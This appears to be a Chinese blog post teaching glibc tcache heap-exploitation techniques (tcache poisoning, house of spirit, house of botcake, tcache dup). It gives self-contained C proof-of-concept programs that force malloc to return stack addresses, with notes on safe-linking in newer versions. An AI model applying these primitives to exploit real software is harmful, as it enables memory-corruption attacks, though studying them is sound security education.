tcache相关

tcache的几种利用都挺简单的,就打个包放一起了(decrypt safing linking见safe linking篇)

tcache poisoning

2.31以前

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>

int main()
{
// disable buffering
setbuf(stdin, NULL);
setbuf(stdout, NULL);

size_t stack_var;
intptr_t *a = malloc(128);
intptr_t *b = malloc(128);

free(a);
free(b);

b[0] = (intptr_t)&stack_var;

intptr_t *c = malloc(128);

assert((long)&stack_var == (long)c);
return 0;
}

更改tcache中chunk的fd指针,比fastbin更方便因为没有size的检查

2.32以后

新增chunk地址对齐检查和safe linking机制
注意fd指向fake chunk的地址要对齐0x10并加密

tcache house of spirit

直接free fake chunk放进tcache

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
setbuf(stdout, NULL);

malloc(1);
//堆初始化
unsigned long long *a; //pointer that will be overwritten
unsigned long long fake_chunks[10]; //fake chunk region

fake_chunks[1] = 0x40; // this is the size
//注意地址对齐0x10
a = &fake_chunks[2];

free(a);

void *b = malloc(0x30);

assert((long)b == (long)&fake_chunks[2]);
}

house of botcake

原理有点类似于fastbin dup consolidate,将chunk同时放进unsorted bin和tcache形成uaf的效果

2.31以前

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>


int main()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);

intptr_t stack_var[4];

intptr_t *x[7];
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
x[i] = malloc(0x100);
}

intptr_t *prev = malloc(0x100);
intptr_t *a = malloc(0x100);

malloc(0x10);

for(int i=0; i<7; i++){
free(x[i]);
}
//填满tcache

free(a);
free(prev);
//a,prev合并成一个0x220的chunk进入unsorted bin,为prev的地址

malloc(0x100);

free(a);
//a同时位于tcache和unsorted bin

intptr_t *b = malloc(0x120);
//从prev切割一块0x130的chunk,可以控制a的fd

b[0x120/8-2] = (long)stack_var;
//更改a的fd

malloc(0x100);
intptr_t *c = malloc(0x100);

assert(c==stack_var);
return 0;
}

2.32以后

注意safe-linking机制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main(){
unsigned long stack_var[0x10] = {0};
unsigned long *chunk_lis[0x10] = {0};
unsigned long *target;

setbuf(stdout, NULL);
stack_var[3] = (unsigned long)(&stack_var[2]);

for(int i = 0;i < 9;i++){
chunk_lis[i] = (unsigned long*)malloc(0x90);
}
//tcache中填6个chunk
for(int i = 3;i < 9;i++){
free(chunk_lis[i]);
}
//填满tcache
free(chunk_lis[1]);
//0和2进入unsorted bin
free(chunk_lis[0]);
free(chunk_lis[2]);

//0和2进入small bin
//small bin->2->0
//small bin中的两个chunk也可以通过切割last remainder+calloc实现
malloc(0xa0);// size > 0x90
malloc(0x90);
//从tcache中取两个,现在tcache中有五个chunk
malloc(0x90);

//更改2的bk为stack_var
chunk_lis[2][1] = (unsigned long)stack_var;

calloc(1,0x90);
//从small bin中拿出0(calloc不从tcache中取chunk)
//将2和stack_var放进tcache

target = malloc(0x90);
//从tcache中取出stack_var

assert(target == &stack_var[2]);
return 0;
}

tcache dup

2.26-2.28版本tcache没有double free的检查,可以随便double free


tcache相关
http://akaieurus.github.io/2023/02/08/tcache相关/
作者
Eurus
发布于
2023年2月8日
许可协议